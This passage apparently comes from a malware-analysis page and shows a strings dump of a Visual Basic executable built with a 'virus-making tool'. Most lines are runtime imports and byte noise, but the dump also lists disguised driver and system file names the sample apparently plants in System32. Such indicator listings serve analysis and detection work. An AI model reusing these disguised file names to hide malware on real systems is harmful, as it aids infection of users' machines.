004181B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCopy</code></li> <li><code class="plain plain">000181C4&nbsp;&nbsp; 004181C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeStrList</code></li> <li><code class="plain plain">000181D8&nbsp;&nbsp; 004181D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdivr_m32</code></li> <li><code class="plain plain">000181EA&nbsp;&nbsp; 004181EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdiv_r</code></li> <li><code class="plain plain">000181F8&nbsp;&nbsp; 004181F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaLateMemCall</code></li> <li><code class="plain plain">0001820C&nbsp;&nbsp; 0041820C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrToAnsi</code></li> <li><code class="plain plain">0001821E&nbsp;&nbsp; 0041821E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarDup</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">0001822C&nbsp;&nbsp; 0041822C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIatan</code></li> <li><code class="plain plain">00018236&nbsp;&nbsp; 00418236&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrMove</code></li> <li><code class="plain plain">00018246&nbsp;&nbsp; 00418246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _allmul</code></li> <li><code class="plain plain">00018250&nbsp;&nbsp; 00418250&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CItan</code></li> <li><code class="plain plain">0001825A&nbsp;&nbsp; 0041825A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIexp</code></li> <li><code class="plain plain">00018264&nbsp;&nbsp; 00418264&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeStr</code></li> <li><code class="plain plain">00018274&nbsp;&nbsp; 00418274&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeObj</code></li> <li><code class="plain plain">0001AA40&nbsp;&nbsp; 0041AA40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %Jc_(Nf/)Sl</code></li> <li><code class="plain plain">0001AAC1&nbsp;&nbsp; 0041AAC1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Hc}(Nfg1QfL4Qd%5Th</code></li> <li><code class="plain plain">0001AB44&nbsp;&nbsp; 0041AB44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %Mgr.RhY4RfE5Qd:f</code></li> <li><code class="plain plain">0001BCBC&nbsp;&nbsp; 0041BCBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #MgR'Qj.(Vq</code></li> <li><code class="plain plain">0001BD7C&nbsp;&nbsp; 0041BD7C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; Lhh(QjT/SiB3Sh'5Ti</code></li> <li><code class="plain plain">0001BE3D&nbsp;&nbsp; 0041BE3D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Lit%Qla-TkM3Ti&gt;5Sf85Qd(6Rf</code></li> <li><code class="plain plain">0001BEFD&nbsp;&nbsp; 0041BEFD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Liz$Qli,UmU2VlD5Ti:5Rf55Qd1Y</code></li> <li><code class="plain plain">0001BFBD&nbsp;&nbsp; 0041BFBD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Li|#Qmo+Un\Fs</code></li> <li><code class="plain plain">0001DFF1&nbsp;&nbsp; 0041DFF1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; IDATx</code></li> <li><code class="plain plain">0001E059&nbsp;&nbsp; 0041E059&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~53@]</code></li> <li><code class="plain plain">0001E1A0&nbsp;&nbsp; 0041E1A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ax8s@</code></li> <li><code class="plain plain">0001E259&nbsp;&nbsp; 0041E259&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; V8|r?LO_</code></li> <li><code class="plain plain">0001E609&nbsp;&nbsp; 0041E609&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k]X#</code></li> <li><code class="plain plain">0001E6BF&nbsp;&nbsp; 0041E6BF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 98P8_</code></li> <li><code class="plain plain">0001E720&nbsp;&nbsp; 0041E720&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; @Pd*x</code></li> <li><code class="plain plain">0001E72F&nbsp;&nbsp; 0041E72F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PzD@a&nbsp; :!W</code></li> <li><code class="plain plain">0001E82E&nbsp;&nbsp; 0041E82E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; TkbG3d</code></li> <li><code class="plain plain">0001E9AC&nbsp;&nbsp; 0041E9AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 30cUb'</code></li> <li><code class="plain plain">0001E9E1&nbsp;&nbsp; 0041E9E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fTJ~/)</code></li> <li><code class="plain plain">0001EB93&nbsp;&nbsp; 0041EB93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; w18!g/;G</code></li> <li><code class="plain plain">0001ECAB&nbsp;&nbsp; 0041ECAB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; p_ahQ</code></li> <li><code class="plain plain">0001EEB3&nbsp;&nbsp; 0041EEB3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0n'~r6</code></li> <li><code class="plain plain">00020346&nbsp;&nbsp; 00420346&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fqiq%}</code></li> <li><code class="plain plain">00020412&nbsp;&nbsp; 00420412&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3Q@i6M</code></li> <li><code class="plain plain">0002060E&nbsp;&nbsp; 0042060E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; )9Ky' k</code></li> <li><code class="plain plain">0002086C&nbsp;&nbsp; 0042086C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 829fM</code></li> <li><code class="plain plain">00020AA0&nbsp;&nbsp; 00420AA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; '$mrQ,$</code></li> <li><code class="plain plain">00020B1B&nbsp;&nbsp; 00420B1B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OMa?Z6</code></li> <li><code class="plain plain">00020C72&nbsp;&nbsp; 00420C72&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 93 W%X</code></li> <li><code class="plain plain">00020D1C&nbsp;&nbsp; 00420D1C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EACF y</code></li> <li><code class="plain plain">00020DB5&nbsp;&nbsp; 00420DB5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; S&amp;9vO</code></li> <li><code class="plain plain">00020E5F&nbsp;&nbsp; 00420E5F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; " ,(Rd</code></li> <li><code class="plain plain">00020FAE&nbsp;&nbsp; 00420FAE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (A\SP</code></li> <li><code class="plain plain">000211B6&nbsp;&nbsp; 004211B6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; bP\ $C</code></li> <li><code class="plain plain">000211E2&nbsp;&nbsp; 004211E2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (]83U</code></li> <li><code class="plain plain">000217B8&nbsp;&nbsp; 004217B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; W!8O</code></li> <li><code class="plain plain">00021D27&nbsp;&nbsp; 00421D27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ly&gt;b!</code></li> <li><code class="plain plain">00021DC1&nbsp;&nbsp; 00421DC1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !!OY&gt;</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">00022008&nbsp;&nbsp; 00422008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; e&amp;@&gt;#0</code></li> <li><code class="plain plain">000220BC&nbsp;&nbsp; 004220BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; )|h0$&nbsp; E</code></li> <li><code class="plain plain">0002264C&nbsp;&nbsp; 0042264C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GP1j5</code></li> <li><code class="plain plain">00022BC6&nbsp;&nbsp; 00422BC6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;S;.z</code></li> <li><code class="plain plain">00022D2E&nbsp;&nbsp; 00422D2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fiw *%</code></li> <li><code class="plain plain">0002310C&nbsp;&nbsp; 0042310C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6l}y'|k</code></li> <li><code class="plain plain">0002334A&nbsp;&nbsp; 0042334A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; K+LAJ</code></li> <li><code class="plain plain">00023418&nbsp;&nbsp; 00423418&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lW~mV</code></li> <li><code class="plain plain">000234D9&nbsp;&nbsp; 004234D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kg&amp;~.$</code></li> <li><code class="plain plain">000236B2&nbsp;&nbsp; 004236B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;G&amp;C{T</code></li> <li><code class="plain plain">000237FD&nbsp;&nbsp; 004237FD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; qD"O\</code></li> <li><code class="plain plain">00023965&nbsp;&nbsp; 00423965&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b% 4</code></li> <li><code class="plain plain">00023C8B&nbsp;&nbsp; 00423C8B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jmar|</code></li> <li><code class="plain plain">00023D68&nbsp;&nbsp; 00423D68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; xyl8H</code></li> <li><code class="plain plain">00023EDF&nbsp;&nbsp; 00423EDF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; a\'$='N</code></li> <li><code class="plain plain">00023F19&nbsp;&nbsp; 00423F19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; nTh(y</code></li> <li><code class="plain plain">00024AC0&nbsp;&nbsp; 00424AC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; V;XL'</code></li> <li><code class="plain plain">00024B29&nbsp;&nbsp; 00424B29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; eU }t</code></li> <li><code class="plain plain">00024D2D&nbsp;&nbsp; 00424D2D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 86/l~</code></li> <li><code class="plain plain">00025073&nbsp;&nbsp; 00425073&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mh6D3</code></li> <li><code class="plain plain">000252CB&nbsp;&nbsp; 004252CB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ,n,BC</code></li> <li><code class="plain plain">000252E7&nbsp;&nbsp; 004252E7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; U]]tWW</code></li> <li><code class="plain plain">00025573&nbsp;&nbsp; 00425573&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Z]T|.</code></li> <li><code class="plain plain">000255AE&nbsp;&nbsp; 004255AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; m*lm;&nbsp; 6</code></li> <li><code class="plain plain">0002582E&nbsp;&nbsp; 0042582E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; T:r|</code></li> <li><code class="plain plain">00025904&nbsp;&nbsp; 00425904&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; R)q~N</code></li> <li><code class="plain plain">00025A80&nbsp;&nbsp; 00425A80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; l6M@H&amp;</code></li> <li><code class="plain plain">00025ED2&nbsp;&nbsp; 00425ED2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;BZ_*</code></li> <li><code class="plain plain">000260DA&nbsp;&nbsp; 004260DA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; |y#lyw</code></li> <li><code class="plain plain">00026365&nbsp;&nbsp; 00426365&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; r"JOe@</code></li> <li><code class="plain plain">000265BE&nbsp;&nbsp; 004265BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _Lj(\</code></li> <li><code class="plain plain">00026600&nbsp;&nbsp; 00426600&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +~,},C</code></li> <li><code class="plain plain">00026621&nbsp;&nbsp; 00426621&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; M+Zwl</code></li> <li><code class="plain plain">000266A9&nbsp;&nbsp; 004266A9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; y58(W</code></li> <li><code class="plain plain">00026842&nbsp;&nbsp; 00426842&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mm;?~</code></li> <li><code class="plain plain">000268BE&nbsp;&nbsp; 004268BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; c|0%C</code></li> <li><code class="plain plain">00026927&nbsp;&nbsp; 00426927&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $}&gt;iH</code></li> <li><code class="plain plain">00026F31&nbsp;&nbsp; 00426F31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7F:+%</code></li> <li><code class="plain plain">00026F41&nbsp;&nbsp; 00426F41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;NF:+</code></li> <li><code class="plain plain">00026F51&nbsp;&nbsp; 00426F51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;RNF:</code></li> <li><code class="plain plain">00026F61&nbsp;&nbsp; 00426F61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AYRNF</code></li> <li><code class="plain plain">00026F69&nbsp;&nbsp; 00426F69&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 21!i%</code></li> <li><code class="plain plain">00026F71&nbsp;&nbsp; 00426F71&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; A]YRN</code></li> <li><code class="plain plain">00026F79&nbsp;&nbsp; 00426F79&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 442i#</code></li> <li><code class="plain plain">00026F88&nbsp;&nbsp; 00426F88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %@74i%</code></li> <li><code class="plain plain">00026F98&nbsp;&nbsp; 00426F98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (J@@=%</code></li> <li><code class="plain plain">00026FA8&nbsp;&nbsp; 00426FA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :TOJ7Q</code></li> <li><code class="plain plain">00026FB1&nbsp;&nbsp; 00426FB1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Tccbk</code></li> <li><code class="plain plain">00026FB8&nbsp;&nbsp; 00426FB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :]XX7</code></li> <li><code class="plain plain">00026FC1&nbsp;&nbsp; 00426FC1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Vcccl#</code></li> <li><code class="plain plain">00026FD1&nbsp;&nbsp; 00426FD1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Vcccl),Fbb_:</code></li> <li><code class="plain plain">00026FE1&nbsp;&nbsp; 00426FE1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Vccll7,bheb:</code></li> <li><code class="plain plain">00026FF1&nbsp;&nbsp; 00426FF1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Vcj[S/dhhhbH</code></li> <li><code class="plain plain">00027001&nbsp;&nbsp; 00427001&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _VTTTPJJJBH</code></li> <li><code class="plain plain">00027505&nbsp;&nbsp; 00427505&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; uwxz.4DC\JJMU</code></li> <li><code class="plain plain">00027528&nbsp;&nbsp; 00427528&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; '*&nbsp; KJJJ;t</code></li> <li><code class="plain plain">0002754A&nbsp;&nbsp; 0042754A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 99MJJBy</code></li> <li><code class="plain plain">00027569&nbsp;&nbsp; 00427569&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 9KJJJ\</code></li> <li><code class="plain plain">0002758A&nbsp;&nbsp; 0042758A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 9#KMJJ\</code></li> <li><code class="plain plain">000275A9&nbsp;&nbsp; 004275A9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; =LMOO</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">000275C9&nbsp;&nbsp; 004275C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *1=R\QQc</code></li> <li><code class="plain plain">000275E9&nbsp;&nbsp; 004275E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *00027609&nbsp;&nbsp; 00427609&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *@@VU</code></li> <li><code class="plain plain">00027629&nbsp;&nbsp; 00427629&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2@CVVg</code></li> <li><code class="plain plain">00027648&nbsp;&nbsp; 00427648&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; '2FCaccm</code></li> <li><code class="plain plain">00027669&nbsp;&nbsp; 00427669&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3F[Yam</code></li> <li><code class="plain plain">00027688&nbsp;&nbsp; 00427688&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (3H[a</code></li> <li><code class="plain plain">00027EAF&nbsp;&nbsp; 00427EAF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~}}}}</code></li> <li><code class="plain plain">00027EBB&nbsp;&nbsp; 00427EBB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RTVVjrqmjr}</code></li> <li><code class="plain plain">00027EDF&nbsp;&nbsp; 00427EDF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~}}}}</code></li> <li><code class="plain plain">00027EE7&nbsp;&nbsp; 00427EE7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !/9?NGGaaq</code></li> <li><code class="plain plain">00027F0F&nbsp;&nbsp; 00427F0F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~~}}}</code></li> <li><code class="plain plain">00027F18&nbsp;&nbsp; 00427F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +388&lt;00027F48&nbsp;&nbsp; 00427F48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%8800027F78&nbsp;&nbsp; 00427F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''CCZ[</code></li> <li><code class="plain plain">00027FA8&nbsp;&nbsp; 00427FA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%'''00027FD8&nbsp;&nbsp; 00427FD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''00028008&nbsp;&nbsp; 00428008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''&lt;00028038&nbsp;&nbsp; 00428038&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ##''00028068&nbsp;&nbsp; 00428068&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "%%8D00028099&nbsp;&nbsp; 00428099&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #-8000280C8&nbsp;&nbsp; 004280C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "#%89addammmr</code></li> <li><code class="plain plain">000280F9&nbsp;&nbsp; 004280F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-800028129&nbsp;&nbsp; 00428129&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-8GIdnnjrr</code></li> <li><code class="plain plain">00028159&nbsp;&nbsp; 00428159&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-8GGhnsrr}</code></li> <li><code class="plain plain">00028189&nbsp;&nbsp; 00428189&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-9Gdhnszz</code></li> <li><code class="plain plain">000281B9&nbsp;&nbsp; 004281B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-9GGggs}s</code></li> <li><code class="plain plain">000281E9&nbsp;&nbsp; 004281E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +-9Ghgys</code></li> <li><code class="plain plain">00028219&nbsp;&nbsp; 00428219&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $1;GVvys</code></li> <li><code class="plain plain">00028249&nbsp;&nbsp; 00428249&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +/GSiiyy</code></li> <li><code class="plain plain">00028279&nbsp;&nbsp; 00428279&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +/?Tiv</code></li> <li><code class="plain plain">000282A8&nbsp;&nbsp; 004282A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; +1AV</code></li> <li><code class="plain plain">000282D9&nbsp;&nbsp; 004282D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ,?NYi</code></li> <li><code class="plain plain">00028308&nbsp;&nbsp; 00428308&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; ,6RT</code></li> <li><code class="plain plain">000283C7&nbsp;&nbsp; 004283C7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !.6RY</code></li> <li><code class="plain plain">0001205F&nbsp;&nbsp; 0041205F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; A*\AC:\Users\user\Downloads\tool membuat virus\tool membuat virus\virus\virus3\Virus_4rik.vbp</code></li> <li><code class="plain plain">000127FC&nbsp;&nbsp; 004127FC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; C:\ABORT.SYS</code></li> <li><code class="plain plain">00012BA4&nbsp;&nbsp; 00412BA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; winver.exe</code></li> <li><code class="plain plain">00012C10&nbsp;&nbsp; 00412C10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\drivers\dxdrv32.sys</code></li> <li><code class="plain plain">00012C54&nbsp;&nbsp; 00412C54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\drivers\vga.dll</code></li> <li><code class="plain plain">00012C8C&nbsp;&nbsp; 00412C8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\drivers\vgcon32.bin</code></li> <li><code class="plain plain">00012CCC&nbsp;&nbsp; 00412CCC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\wishell1033.bin</code></li> <li><code class="plain plain">00012D04&nbsp;&nbsp; 00412D04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\ctfmon.exe</code></li> <li><code class="plain plain">00012D30&nbsp;&nbsp; 00412D30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\winliveessentialsstartup.exe</code></li> <li><code class="plain plain">00012D80&nbsp;&nbsp; 00412D80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System32\syswowex.bin</code></li> <li><code class="plain plain">00012DB0&nbsp;&nbsp; 00412DB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; System\acpi.bin</code></li> <li><code class="plain plain">00012DD4&nbsp;&nbsp; 00412DD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; cmd.exe</code></li> <li><code class="plain plain">00012DE8&nbsp;&nbsp; 00412DE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; rundll32.exe</code></li> <li><code class="plain plain">00012E08&nbsp;&nbsp; 